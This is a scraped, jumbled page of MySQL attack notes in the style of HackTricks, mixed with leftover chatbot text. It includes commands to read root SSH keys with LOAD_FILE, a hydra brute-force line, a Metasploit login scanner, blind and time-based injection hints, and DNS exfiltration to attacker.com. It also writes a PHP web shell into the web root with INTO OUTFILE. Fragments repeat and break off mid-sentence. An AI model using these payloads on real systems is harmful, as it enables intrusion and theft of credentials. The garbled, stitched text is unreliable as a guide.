Verified - Mysql Hacktricks

-- Read SSH keys (if MySQL running as root — rare but possible) SELECT LOAD_FILE('/root/.ssh/id_rsa');

(Note: 0x3a is the hex representation of a colon : , used as a delimiter.) 4. File System Interactivity

: Verified methods for pulling password hashes from the mysql.user table or finding cleartext credentials in configuration files like my.cnf .

hydra -L users.txt -P rockyou.txt <target-ip> mysql

If you lack valid credentials, the next step involves checking for misconfigurations or weak passwords. Default Credentials and Blank Passwords mysql hacktricks verified

: Look for outdated versions vulnerable to remote code execution (RCE).

If you need help implementing these findings, please let me know: What is hosting the database?

use auxiliary/scanner/mysql/mysql_login set RHOSTS set USER_FILE usernames.txt set PASS_FILE passwords.txt run Use code with caution. 4. Post-Authentication Enumeration

: Testing true/false conditions like substr(database(),1,1)='r' to infer data one character at a time. -- Read SSH keys (if MySQL running as

If the user has FILE privileges, LOAD_FILE() can read sensitive files, and INTO OUTFILE can be used to write shells.

: Using SLEEP() or BENCHMARK() functions to detect vulnerabilities by measuring the server's response time. WAF Bypass Tricks :

On your DNS server, monitor queries for dbname.attacker.com .

Explicitly set secure_file_priv = /var/lib/mysql-files/ in the my.cnf configuration file to prevent arbitrary file extraction and web shell creation. Default Credentials and Blank Passwords : Look for

Before attempting file system interactions, verify if the database configuration permits it by checking the FILE privilege and the secure_file_priv variable.

I can provide tailored scripts, configuration syntax, or payload modifications for your exact scenario. Share public link

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';